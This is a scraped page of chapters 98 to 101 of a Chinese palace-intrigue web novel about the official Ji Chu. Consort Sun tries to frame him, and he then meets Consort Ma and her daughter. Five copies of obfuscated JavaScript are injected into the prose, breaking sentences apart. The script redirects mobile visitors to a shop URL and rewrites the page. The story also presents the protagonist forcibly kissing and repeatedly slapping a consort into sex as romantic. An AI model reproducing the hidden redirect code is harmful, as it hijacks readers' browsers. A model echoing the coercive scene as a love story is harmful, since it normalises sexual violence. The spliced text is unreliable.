先前宫里就曾悄悄传过消息,说虞美人曾单独召见过季褚。咱们压根不用费心思布局,只需安排人在马贵妃,孙淑妃面前稍稍点拨几句,就说虞美人与季褚早有私情,借太子大婚之机暗中私会。 以那两位娘娘的性子,早就恨虞美人恨到骨子里,又怎么可能放过这扳倒心头大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271014|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 患的天赐良机? 就算事情真的败露,闹大,那也是马贵妃,孙淑妃在后宫争风吃醋,构陷妃嫔。 皇后娘娘最多落一个管教不严,约束不力的名头,陛下至多斥责几句,半点伤不到根本。 可不管最后除掉的是虞美人,还是马、孙二人中的任何一个,对皇后娘娘都是稳赚不亏!” 一听这话,李智眼都亮了,赶紧弯腰将孙诩搀扶起来,“看来真是我冤枉了孙爱卿。” 孙诩暗暗松了口气,心道这个槛总算过去了。 可还不等他喘匀气息,就听李智发出一阵令人毛骨悚然的冷笑,“就按你说的去办,记住了,这一次,如果再办砸,你就不是掐大腿了。 本王会把你,连皮带骨,一起埋了。” 孙诩浑身一颤,“殿下放心,此事不成,臣提头来见。” …… 此时此刻。 刚刚替班的二皇子李义也正在和自己的心腹小声议论着什么。 “……” “殿下,事情就是这样。” 李义抬头望天,“呵呵,连左春都不是对手,能力,手段样样不缺。” 半晌,李义回头看向了手下,“本王现在无法回城,你给贵妃娘娘传个话,季褚此人,前途不可限量,若得此大才以后必是本王一大助力。 溪儿妹妹也到了挑选驸马年纪,正好季褚如今就在宫中排练礼仪,可以让二人先试着接触一下。 顺便让人盯着教坊司,我那三弟可不是个能吃亏的主儿。 若真遭了算计,关键时刻可以帮他一把!” “喏!” 翌日。 季褚刚打完卡,准备让教坊司的姑娘们操练起来,就有一老太监走进了演舞场。 等到一曲作罢,立马谄媚的走了过来,“季大人,果然名不虚传,刚才那一曲,听的咱家魂儿都要飘出来了。” 季褚哭笑不得,赶忙拱了下手,“敢问公公是?” “咱家钟粹宫刘喜,见过季大人!”老太监也跟着拱手回了一礼。 “原来是刘公公,久仰久仰,不知公公有何贵干?” “淑妃娘娘有请,季大人若是得空,还请和咱家走一趟。” 季褚心头一跳,宫里就一位淑妃娘娘,但,貌似,好像,他和这位娘娘也没有交集啊。 “不知娘娘召下官何事?” “大人去了自知,请吧,季大人。” 季褚犹豫了一下,点了点头,“那下官先交代几句。” 季褚找到教坊司副总管太监,简单交代了几句,然后便向往走去,“有劳公公带路。” “季大人请!” 第98章 宠粉咱专业,小黑粉?那可遭老罪了 季褚慢了一个身位,紧紧跟在刘喜身后,脑子里飞速盘算,这孙淑妃找自己到底所为何事。 作为梁皇幼子李平的生母,李平如今才六岁不到,所以首先就能排除对方拉拢自己,参与夺嫡。 既不是结党站队,那就是欣赏自己的才华,想让自己为她写诗,作曲? 思忖间,二人已经来到了钟粹宫。 和季褚想象中那般雕梁画栋,极尽奢华的妃嫔居所不同,反倒透着几分清雅素净,庭院中错落栽种着各色时令鲜花,随着微风轻轻摇曳,沁出淡淡的花香。 跟着刘喜踏入偏殿,一股清冽雅致的兰花香便扑面而来,不浓不烈,恰好萦绕鼻尖。 殿内四隅各放置了不少冰盆,冰块消融时散出丝丝凉意,裹挟着兰香漫满整个殿宇,凉凉的,香香的,瞬间驱散了路上沾染的暑气。 “这孙淑妃倒是雅致兰心,懂得享受生活。”季褚心里叹了口气,“想低调实在太难了,不管穿越前还是穿越后,随便露两手,就能收获很多美女粉,这还真是甜蜜的烦恼啊!” “季大人先在此处稍候,咱家这就通禀娘娘。”刘喜谄媚的说道。 “有劳公公!”季褚微微颔首,而后正了正衣冠找地方坐下。 宠粉,他是专业的。 刘喜前脚刚走没多久,一名姿态温婉,脚步轻盈的宫女,便端着茶具从后面走来。 正常的待客之道而已,季褚也没当回事,任由对方给自己倒茶,琢磨待会儿给孙淑妃抄首什么诗。 心里光想着如何宠粉了,当然也是先入为主,淑妃淑嘛,肯定是个大淑女,喜欢清净。 季褚完全没注意到整个大殿静的可怕,而且一路走来,也没瞧见半个人影。 而就在这时,伺茶宫女突然脚下一软,整个人直挺挺的栽到了季褚怀里。 “哎呦**!” 猝不及防的温暖馨香,属实给季褚吓一大跳,连国淬都飙出来了。 他下意识想要推开对方,宫女却突然扯住衣领用力撕开。 季褚眼珠子瞬间瞪圆,整个人都亚麻呆了。 这时,宫女已经慌慌张张的喊了起来,“救命,季大人不要嘈奴婢,救命啊……” 我尼玛,还真是活久见。 头一次线下,没遇到基,反而遇到了比基更可怕的黑粉! “放肆!季褚,你在干什么!” 一声厉喝骤然炸响,“竟敢在我钟粹宫调戏宫女,你有几颗脑袋够砍?!” “娘娘救命……娘娘救命啊!” 宫女趁机从季褚怀里挣脱,双手抱在胸前,踉踉跄跄跑向了带人赶来的孙淑妃。 季褚抬眼望去,眉头微微蹙起。 就见一盛装美人,正带着几名婢女,以及贴身太监刘喜快步而来。 她媚眼生的极艳,妖冶的样子,像极了穿越前某部电视剧里的苏妲己,眼波一转,便似有勾魂夺魄的魅力。 身段更是没的说,曲线撩人。 咱就说,单论身材样貌,皇帝的女人就没差的。 但这手段……过于卑劣。 季褚站起身,嘴角浮起一抹冷峭,“淑妃娘娘,要玩这套把戏,那就没意思了。” 孙淑妃脸色骤寒,“放肆! 这么多双眼睛都看得清清楚楚,人证俱在,你竟敢在此狡辩! 即便太子与长公主给你撑腰又如何? 这是本宫的钟粹宫,在本宫这里,本宫照样有权治你!” “呵呵……呵呵呵……” “你笑什么?” “我笑你愚蠢至极。” 刘喜眼睛一瞪,厉声喝道:“季褚,你好大的胆子!” 孙淑妃一抬手,凤目含煞,一瞬不瞬地盯着季褚 “娘娘,看来你还是不清楚我季褚是什么样的人啊!” 孙淑妃嗤笑一声,神色间多了几分戏谑与冷傲:“哦?那你倒是说说,你是什么人?” 季褚眯了眯眼,“人敬我一尺,我还他一丈。 可谁敢算计我,得罪我……呵呵,那可遭老罪了。” 孙淑妃掩唇轻笑,眼神也越发玩味了,“早就听说你季褚心思诡谲,被你卖了还帮你数钱,朝堂之上更是无人敢轻易惹。 可现在,你当众调戏本宫的宫女,人证俱全,众目睽睽,这可是死罪! 你就算有一百张嘴,今天也说不清楚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271015|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我倒要看看,你这次,如何脱身?” 季褚不以为然,“想脱身还不简单?” 见他果真没有丝毫慌张的样子,孙淑妃拐弯哦了一声。 “微臣现在冲出去,大喊救命,就说淑妃娘娘要构陷忠臣,届时谁倒霉犹未可知,我想淑妃娘娘在宫里的日子也不好过吧。 不然你我无冤无仇,没必要整这一出儿。 必是有所求,又想试试我到底几斤几两。” 微臣说的没错吧,淑妃娘娘!” “倒是生了一张伶俐的嘴,难怪能让左老大人吃瘪。”孙淑妃掩嘴轻笑,抬手挥退了众人,而后围着季褚转了一圈,“刚才那情况,你立刻冲出去喊救命,固然是一条活路,说不定真会给本宫惹不少麻烦,可整个钟粹宫都是本宫的人,让你跑又能跑多远? 如果本宫想除掉你,你觉得自己跑的出去吗? 季大人确实聪明,想必已然料定了这一点,知道自己跑不掉,便立刻打起了感情牌,赌本宫有求于你。” “娘娘错了。”季褚摇了摇头。 “难道我分析的不对?” “所以娘娘压根不了解臣的为人。” 说话间,季褚突然伸手,一把抱住了孙淑妃腰。 孙淑妃大惊之色,“大……唔!” 孙淑妃脑袋里轰的一下,全白了。 她……堂堂淑妃娘娘,竟然被一个大臣……吻了? 孙淑妃怔愣的瞪着眼睛,季褚的得寸进尺令她瞬间回过神来,慌乱把头扭到一旁,避开了他的纠缠。 然而下一秒。 啪的一声。 孙淑妃只觉脸颊一阵火辣,被季褚一巴掌呼在脸上,彻底呼懵逼了,头也不受控制的被季褚强行扭了过来。 她何时受过这等奇耻大辱? 轻薄自己也就算了,居然还掌掴她! 她这张脸,皇帝都没打过。 他凭什么? “混……唔!” 孙淑妃试图挣扎,可季褚的手就好似老虎钳子一样按住着她的头。 她想咬死这个混账东西。 偏偏,季褚这回不伸了,他不伸了呀! 第99章 后宫的女人就没一个省油的 片刻过后。 孙淑妃感觉自己的嘴唇子都被季褚嘬肿了,按住自己头的手才稍微放松了些。 她赶忙趁机扭头。 可紧接着,又是一巴掌落在了脸上,脸也再次被强行掰正。 “季……唔,不要,唔唔……” 季褚可不管你这个那个,又给梁皇赚了一千万两,来他家做客,还差点被梁皇的恶媳妇算计,自然是连吃带拿才解气。 片刻过后。 孙淑妃再次挣脱,这回她学精了,直接开口就喊,结果啪啪两声,一边挨了一巴掌。 盏茶时间过后。 再次挣脱的孙淑妃,双手抱胸挡住了被扯开的衣襟,委屈的眼泪珠子都快落下来了,压低声音,“我不喊了,绝对不喊了,别再打了成吗?” “成,真没想到,孙淑妃深藏不漏,好一个三星连珠。”季褚戏谑的挑起对方下巴,“记住了,我这人还有一点长处,那就是胆子大,吃软不吃硬。 让你这样一搞,我现在火气很大,你说吧,应该怎么办?” 孙淑妃闻言,一颗心几乎要从嗓子眼里蹦跶出来。 起初是很生气,可莫名又觉得有些刺激。 她入宫时,梁皇已经四十多岁,虽然经常翻她牌子侍寝,但每次说好听点叫规矩持重,实则一触即溃。 可以说是毫无体验。 后来生了八皇子,梁皇也总来,但每次躺下便呼呼大睡。 直到虞美人入宫,索性一趟都不来了。 她今年也不过二十五岁啊! 心里就好似有一团小火苗,一下子就被季褚吹旺了。 孙淑妃缓缓闭上了眼,慢慢的也把手放了下去。 季褚也不和她客气,当即将人打横抱起,放到了八仙桌上。 孙淑妃满脸幽怨,“你快点……” 啪! 又是一巴掌落到了脸上,孙淑妃捂着脸,幽怨的抿了抿唇。 半个时辰后。 二人整理好了衣服各自落座。 季褚端起凉茶润了润喉,“娘娘,现在说吧,你找微臣到底所为何事?” “你这冤家,就不能等人家缓口气?” “教坊司那边还有一大摊子事儿等着我,我可没时间在你这浪费。” 孙淑妃忍不住翻了个白眼,让他自己品去。 你没时间,你折腾人家半个时辰? “罢了,此事说来话长……” “那就长话短说。” 孙淑妃:…… “今早逛御花园,本宫听到有人说你和虞美人有些瓜葛,此事是否为真?” 季褚闻言,瞬间皱起了眉头,“这不是造谣吗?” 李清瑶说是帮他斩断了这条线,可那日他和虞美人单独相处,却有人盯梢,这让季褚不得不怀疑,梁皇是不是也知道此事。 如果他也知道了,那这老小子挺可怕啊! “造谣?”孙淑妃阴阳怪气道:“我看未必吧?前日子季大人可是单独指点过虞美人呢! 孤男寡女的在一起,又唱又跳,面对如此艳丽绝美的女子,难道季大人没有火气大?” “胡说八道,虞美人可不似娘娘这般。” 和女人在一块,你就不能顺着她的思路来,季褚忙岔开话题,“就因为听到一些风言风语,娘娘便唤微臣前来? 这似乎和娘娘无关吧?” “怎得无关? 季褚,你觉得当今局势如何?” “圣人英明神武……” “说人话,你觉得将来谁会登顶?” “你不会是想拉拢我,扶持你儿子上去吧?据我所知,八皇子今年才七岁。” “先前本宫确实有这想法,先对你考验一番,若真如传言那般,我便让平儿拜你为师。 可你这人……罢了,幼帝,权臣……本宫怕平儿将来驾驭不了你。” 季褚也是一阵无语,“有事儿你直说啊,拐弯抹角的谁知道你想干嘛?反正刚刚那事,责任全在你身上。” 孙淑妃:…… 柰子疼,嘴疼,上上下下哪哪都疼。 她深深的吸了口气,让自己冷静下来,抬眼看向季褚,眼神里第一次露出了真切,“季褚,本宫现在还是希望平儿能拜你为师,以后不管谁上位,看在本宫的面上,都希望你能保护好他。” “糊涂!”季褚摆摆手,“这个弟子不能收,我若收了才是将他拉到了漩涡里。” “不,他现在已经身处漩涡里了。” 季褚??? 似是被他盯得太不自然,孙淑妃咬着牙,只能无奈解释道:“本宫向来……心直口快,心直口快就容易得罪人。 所以本宫与皇后,马贵妃素来不睦。 所以,不管将来是三皇子,还是二皇子上位,他们绝对容不下本宫,肯定会让本宫去殉葬。” 她声音微微发颤,却依旧强撑着镇定,“我只盼着殉葬后,我的平儿可以平安顺遂,做个闲散王爷,安稳一生。 现在有人在御花园故意散播你和虞美人的留言,摆明了是要对你下手,作为报酬,本宫可以帮你挡在那些明枪暗箭。 当,当然……你,你,你要是火气大了,也可以来找本宫……” 话音落下,孙淑妃的耳根瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278518|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间红得滴血,连脖颈都染上了一层薄霞。 季褚:…… 他给自己倒了杯茶,沉吟半晌才道;“为何是我?我才刚入朝不久。” “因为你毒!” 季褚:…… “你这种人,做事肯定会给自己留后路,所以哪怕太子将来败了,你也不会有事。 况且,你刚入朝便创下诸多功绩。 老皇帝对你青睐有加,除非你自己求死,否则新皇登基,肯定也舍不得杀你。 最重要的是,你还年轻。” “果然,后宫的女人就没一个省油的。”季褚暗暗想着,讲真的,他还真有点佩服这个女人的聪明。 “日子还长着呢,谁也不知道以后会发生什么,所以我不敢给娘娘任何保证,但关键时刻我会出手。” 说着,季褚打怀里摸出一把银票,选了张面值最小的一百两,压在了茶碗下面,“没什么事儿,微臣就告辞了。” 说完,一拱手,毫不拖泥带水的离开。 孙淑妃哆嗦着腿拿起茶盏下的银票,银牙差点没咬碎。 这一百两算什么? 混蛋啊,他把自己当什么了? “娘娘?”刘喜悄无声息的出现在了孙淑妃身后。 刘喜是正儿八经招聘入宫的太监,可鲜有人知,他其实是孙家的家生子,孙家早先就想送女进宫,所以提前将派他打入内部。 孙淑妃这些年能稳稳当当,除了自身聪明,智商在线,刘喜也是功不可没。 让走路不带声的刘喜吓一跳,孙淑妃回过神,莫名想到了方才的一幕幕被老太监听了去,臊的恨不能找个地缝钻进去。 “本宫无碍,就是被他折腾的有点乏了。” 刘喜:…… 小姐,你这是诚心往老刘心窝子撒盐是么? “你去盯着点,我怀疑有人要趁机捣乱,这季褚终究还是太年轻,容易冲动。 他哪里清楚宫斗的手段,本宫再不护着点,怕是让人吃的骨头渣滓都不剩。” 刘喜点点头,“小姐,等下别忘喝避子汤。” 孙淑妃扭头,不悦皱眉,“避子汤,避子汤,哪有那么容易怀上。” 刘喜犹豫了一下,还是忍不住劝慰道:“小姐切勿因小失大,那可是足足半个时辰。 季大人龙精虎猛,小姐又是易孕体质……” “知道了,你下去安排吧!”孙淑妃不耐烦的摆了摆手。 但你别说,用龙精虎猛来形容季大人。 确实说进了孙淑妃的心坎里。 半个时辰啊,她还从来没吃这么好,这么饱过。 第100章 温柔的小姨子 深知皇宫胸险,季褚离开钟粹宫,可谓是头也不回,直到回了教坊司悬着的心才总算落地。 虽然,一招鲜,吃遍天,遇上这些不讲道义的古代小女子,你可以先用嘴,嘴说服不了就上手,再不行就用…… 但,万一呢? 万一遇上个不讲武德的咋办? 常在河边走,哪有不湿鞋的道理。 所以他痛定思痛,从此刻开始,行那苟道之流,就待在教坊司哪都不去。 然而,前脚才踏入教坊司,就瞧见副总管太监吴公公,正一脸谄媚陪在一名四十多岁,浓眉大眼的太监身边。 “哎呦,季少保,您可算回来了。” 见吴公公满脸堆笑迎了过来,眼神中甚至多了几分崇拜,季褚有些莫名其妙,“方才淑妃娘娘诏本官探讨诗词,耽搁了一会儿。” 说着,他看向了另外一名老太监,“敢问这位公公是?” “奴婢汀兰殿总管,刘吉,见过季少保!”浓眉大眼谄媚的行了一礼。 季褚面皮一抽,不由看向了吴公公。 好么,老刘家这是要制霸梁朝皇宫了啊! 难怪你是个副的,感情你不姓刘啊! 吴总管还季褚不了解对方身份,小声道:“少保,汀兰殿是长平公主的寝宫。” 季褚恍然,长平公主李清溪,小姨子啊! 虽然没见过面,但早先李清瑶和分析诸子势力时,提过自己那三位妹妹。 可以说,梁皇真不愧真龙天子,龙生九子各个不同。 四个女儿,老大长乐公主李清瑶就不提了,清冷孤傲,妥妥的高冷御姐一枚,气场迫人,当然这都是对外,对内,其实藏着一颗火热且躁动的心。 老二长宁公主李清池则截然相反,生得明艳动人,性格更是热情奔放,最爱美色,但凡见到俊俏郎君,便会想法设法弄进府里。 她往府里带帅哥,驸马就往府里带美女,两口子各玩各的,搞的长宁公主府里乌烟瘴气,偏偏人家生母因为救驾而亡,梁皇爱屋及乌,对此睁一只眼闭一只眼。 据说,据说啊,李清池的性子像极了生母懿烈贵妃,当年梁皇初登大宝,微服私访时,正好遇上了驾马扬鞭的懿烈贵妃,烈贵妃当时就动了凡心,带着家丁将人强行掠回府中。 当时到底发生了什么,起码得省略三万字。 反正女儿都生了,懿烈贵妃才知道自家男人是皇帝。梁皇想给她名分,她却死活不进宫。 在季褚看来,这女人肯定老有心机了,男人喜欢美色不假,可得不到的才会永远骚动。 当然,也或许他把人想的太坏,也许人家就是不喜欢宫里的氛围,觉得不如待在宫外无忧无虑。 反正不管因为什么,经常出宫的梁皇被人盯上了,烈贵妃为他挡了一箭,然后,就呜呼了…… 老三长平公主李清溪,生母马贵妃,又有二皇子这个诸子中年级最大的皇子撑腰,自幼娇养,性子刁蛮任性,天不怕地不怕,是宫里最难招惹的小霸王。 老四,长安公主李清玥年纪尚幼,还是个天真懵懂软糯可爱的小萝莉,生母苏美人出身江南苏氏,不过向来没什么存在感,关着门过自己的小日子。 季褚微微蹙眉,“不知公主找下官何事?” “自然是仰慕季少保的诗词,少保且随奴婢走一遭,莫要公主等久了。”刘吉道。 季褚闻言,心里直翻白眼,她一个“精神小妹”,懂得屁的诗词。 何况孙淑妃已经提点过自己,宫里有人要对付自己,他是一百个不愿去。 但转念一想,李清溪这种人又能有多少心眼子? 他若不去,就传言中那刁蛮任性的脾气,八成会很生气,觉得自己不给面子,然后带人杀过来。 季褚心里苦,季褚说不出啊! “既如此,那就别耽搁了,烦请刘公公前面带路。”季褚无奈的说道。 毕竟,真要等李清溪带人杀过来,恐怕更难收场。不如过去看看,这个小姨子葫芦里卖的什么药。 “少保,请!” “公公,请!” 二人出了教坊司,季褚好奇问道:“刘公公,冒昧的问一嘴,您原本就姓刘吗?” 刘吉一愣,莫不是遇上了亲朋故旧? 人生三大喜,金榜题名时,洞房花烛夜,再就是他乡遇故知了。 一时间,他整个**眼可见的高兴起来,“回大人,奴婢本家姓张,后来拜了影龙卫大监刘洪为义父,这才改了姓氏,莫非奴婢家里与大人家有旧?” 季褚恍然大悟,心里忍不住翻了个白眼,谁和你一个太监有旧啊! “那到没有,看来钟粹宫刘喜公公也是刘公公的义子咯?” “对!”刘吉点点头,突然想明白了什么,眼神顿时变得幽怨起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278519|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,确实挺冒昧了! 季褚清了清嗓子,“刘公公是个好人啊,走吧,莫要让公主等着急了。” 二人来到汀兰殿,刘吉直接停在了门口,“大人,请吧!” 熟悉的味道,熟悉的配方,可他老季已经学精了啊,“公公不通报一下吗?” 刘吉心里暗戳戳的哼一声,依着公主的性子,让她等了这么久,你季大人可要遭老罪了。 你若是我小老乡,咱家兴许还会帮你说项一二。 结果你不仅不是,反而还拿话打趣咱家,那就别怪咱家把您护在身前了。 “大人,咱家就一俗人,哪懂得什么诗词歌赋。咱家还有事儿,就不打扰您和公主殿下探讨诗词歌赋了。”刘吉皮笑肉不笑的呵呵一声,然后转身就走。 “你回来……你不得复命吗?” 季褚也是服了,想要喊住对方,结果刘吉的脚步越来越快。 “何人在外喧哗?” 听见里面传来一道嫩嫩的甜妹音,季褚深吸口气,整理了一下官帽,深吸口气踏步走进了大殿。 入眼所见,一位绝色佳人端坐上首,她身段妖娆丰腴,尽是成熟少妇的风情万种,肌肤莹白胜雪,眉眼却娇俏宛如少女,倒是和三皇子有几分相似。 旁侧立着几名宫女,轻摇玉扇,微风徐徐。 不用猜,这肯定就是长平公主了。 长平,长平……亏他先前还暗自思忖,叫这名字的多半是个性子跳脱,平平无奇的精神小妹,没成想**竟这般明艳惹眼,身段绝顶。 季褚二话不说,立刻躬身行礼,“臣季褚,见过公主殿下。” 马贵妃微微一愣,紧接着嘴角便漾起一抹春风拂面的弧度,“季少保倒是个妙人,免礼,赐座。” “谢公主殿下。”季褚颔首,然后端正坐到了椅子上,这小姨子说话温温柔柔的,哪里就刁蛮任性了? 这般知书达理,压根不似装的。 别问,问就是他的眼睛就是尺! 传言这种东西,果然不可信。 马贵妃又是一愣,有些哭笑不得的摇摇头,而后看向了一旁的宫女。 正在偷笑的宫女瞬间收敛笑容,微微俯身,莲步向着殿外走去。 这一切,自然都被季褚看在眼里,瞬间打起了十二分警惕。 我尼玛,啥情况,这波我可半点优势没敢提啊??? 第101章 成熟的蜜桃和小桃 马贵妃有些头疼的打量起季褚,看卖相,确实配得上自家闺女。 才学气度也是不凡,可这样的人,真能看上自家那个不着调的闺女么? 这才等了半个时辰,就又不见了人影…… 万一撮合不成,惹恼了季褚,反倒是会坏了儿子的大事。 思及此,她也只能先稳住局面,等婢女把闺女找回来再说。 马贵妃轻抬眉眼,语气温和得体,“季少保才名远播,京中才子佳人,无不以求得你的诗句为荣。 今日有幸相见,不知本宫,是否也有这份荣幸,请少保即兴赋诗一首?” 一听真是谈诗论赋,季褚的心瞬间踏实了一半。 宠粉,他是专业的。 何况,宠的这个粉丝还是自己小姨子。 季褚忙起身,从容行礼,“殿下抬爱了,臣不过是侥幸得了几分虚名,哪里当得起这般赞誉。既然殿下不嫌弃臣才疏学浅,臣便斗胆,当场献丑一首,聊表心意。 还请殿下出题。” 倒是个谦逊知礼的。 马贵妃心中暗忖,果然如吾儿所言,此人外和内刚,吃软不吃硬。 待之以诚,则温顺谦和,若以机心相欺,便会锋芒毕露,极难拿捏。 “听说季少保擅长写人,那就以本宫为题,即兴一首吧!” 季褚颔首,上下打量起了对方,心里快速思忖到底抄哪一首合适。 你别说,给这“臭名昭著”的公主做诗,还真有点难他季大人了。 不管传言是否为真,稳一手绝对没坏处。 这种人,身边肯定少不了阿谀奉承之辈,直接夸她漂亮,太俗,说不定人家早就听腻了。 那就只能……夸她人性再兼顾一点漂亮。 想了想,季褚很快便圈定了目标诗词《桃夭》。 此诗虽是经典的催妆之作,可换个场景解读,亦是夸赞女子温婉贤淑,旺家宜室的绝佳之选。 眼前这位可是他的小姨子,自然要往心尖上宠。 何况李清溪正值谈婚论嫁的年纪,此诗一出,必能为她扬名。 说不定将来能觅得比她二位姐姐更为良配的归宿。 当姐夫是真不容易,为小姨子的终身大事,他也操老心了。 想到这儿,季褚差点没给自己感动到。 而他那肆无忌惮的坦荡眼神,自媚眼至全身,看的马贵妃耳垂微热,一时竟也有些手足无措。 毕竟,她出身名门,名门最讲礼仪。 不管是待字闺中,还是进入深宫,都还没哪个男人敢这样盯着她看。 简直无礼至极。 马贵妃媚眼渐渐愠怒,准备提醒一下季褚,不要乱看。 就听季褚略一沉吟,开口说道:“逃之夭夭,灼灼其华。 之子于归,宜其室家。 逃之夭夭,有蕡其实。 之子于归,宜其家室。 逃之夭夭,其叶蓁蓁。 之子于归,宜其家人。” 一句吟罢,满殿静谧。 马贵妃本就是有名的才女,略一回味,便明白了其中深意,眸中异彩连连,心头又惊又喜。 此诗绝对是一首赞美女子贤淑有德,宜室宜家的千古名篇。 这……简直是把女儿夸上天啊! 此诗一旦传扬出去,女儿的恶名必然变成才华德行,传遍京城,将来择婿…… 呸,还什么将来,眼前不就是一位佳婿吗? 他似乎很中意自己的女儿,不然,为何能做出这般真情实意的诗词? 把女儿的容貌气度与贤德一并夸赞,听得马贵妃心头大为受用,眸中泛起柔光,脸上也缓缓漾开一抹惊艳的笑意,“好一句桃之夭夭,灼灼其华,少保之才,果真名不虚传。” 这般人物,若能成为长平的良人,不单女儿有了依靠,儿子的大事也稳了。 “殿下满意就好!”季褚松了口气,也不免有些暗自得意。 这不就过关了? 怎一个稳字了得! 可那一句“殿下”却听的马贵妃瞬间错愕当场,只一瞬,笑容便僵在了脸上。 殿下,而不是娘娘! 女儿不在,季褚把自己当成了女儿…… 而季褚未曾见过长平,那么……这首诗,是……为本宫做的? 他,莫不是看上了本宫? 思及此,马贵妃绝美的容颜,宛如熟透的蜜桃,瞬间氤氲起了一层淡淡的桃红。 她是神通广大的贵夫人,可她深居简出啊! 哪见过这般直白滚烫的表白……一时之间,心里就好似住了一只乱撞的兔子,怦怦跳个不停,连呼吸都轻了几分。 她正准备解释一下,就听外面传来一阵急促的脚步。 “母妃……” 一声娇嚷未落,一道鲜亮的橘色身影已裙摆飞扬,风风火火闯了进来。 少女眉眼间尽是张扬锐气,鲜活又跳脱,走到马贵妃身边大剌剌的坐下,拿起茶盏吨吨就是两口。 季褚愕然的看着来人,又看了看端坐上首的马贵妃,正好迎上马贵妃那略带几分羞赧的目光。 母妃? 娘的,还真是无风不起浪,难怪一个人前后的差距那么大。 咱就纳闷了,皇宫里的女人用啥雪花膏啊,声音甜是天生的,可看着这般年轻怎么个事儿? 和李清溪坐一块,哪里像母女,分明就是姐妹。 “不得无礼!”马贵妃尴尬避开季褚的眼神,轻轻的嗔了一句,似是说长平,又好似再提点季褚。 李清溪就好似没听到一样,上下打量了季褚一眼,“你就是季褚?” “回殿下,正是微臣。”季褚尴尬的行了一礼。 “倒是个油嘴滑舌的,母妃的好还用你来夸?” 李清溪叉着腰,眼珠一转,道:“既然你这般有才,那就再夸夸本公主,夸得满意,本公主重重有赏,要是不满意,哼哼……” 说着,她把手向后一伸,也不知从哪里抽出来了一条精致的小马鞭,啪啪砸了一下手心,语气带着几分桀骜,“那你可遭老罪了。” 什么狗屁才子,在她眼里不过是些酸腐文人的把戏。 母妃竟想将她许给这般人?她,必须抗争到底。 她李清溪向来敢爱敢恨,从不是任人摆布的女子,更不会像二位姐姐那般,沦为朝堂权衡的棋子,联姻的牺牲品。 今日,她便要给这季褚点颜色看看。 刁蛮任性,要搁旁人身上那是骄纵,可落在眼前这位美人小姨子身上,分明就是鲜活可爱,连发脾气都透着几分娇俏动人。 季褚看着眼前这只想打坏主意的小狐狸,心头不免一阵好笑,面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282645|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上却是一本正经。 目光轻轻落在少女明艳张扬的脸上,缓缓开口,“娘娘是成熟的蜜桃,公主自然就是未成熟的小桃子。 那臣便以小桃为题,再为公主即兴一首。” 想了想,季褚开口道:“有了。 小桃灼灼柳鬖鬖,春色满枝头。 生来意气凌风月,不负人间第一流。” “好诗!” 马贵妃率先叫好,一来是怕闺女无礼,二来这首诗也确实不错。 子似母,她是成熟的蜜桃,季褚以小桃直入主题,恰到好处。 尤其是那句不负人间第一流,简直说进了她的心坎。 世间皆俗人,哪里看的到女儿的好。 鲜活明媚,娇俏动人,天生洒脱锐气,风骨胜过世间风花雪月,说的不就是自己女儿么。 也只有自己女儿这般世间一等一的女子,才配得上最顶级的称赞。 以后谁再敢说自己的女儿刁蛮任性,看她不骂对方一句有眼无珠的! 李清溪万万没想到,季褚的嘴这么甜,被他夸的也有点不好意思了,脸颊一点点染上绯红,至于要捉弄季褚的心思,早就烟消云散,只剩下了满心的羞赧与窃喜。 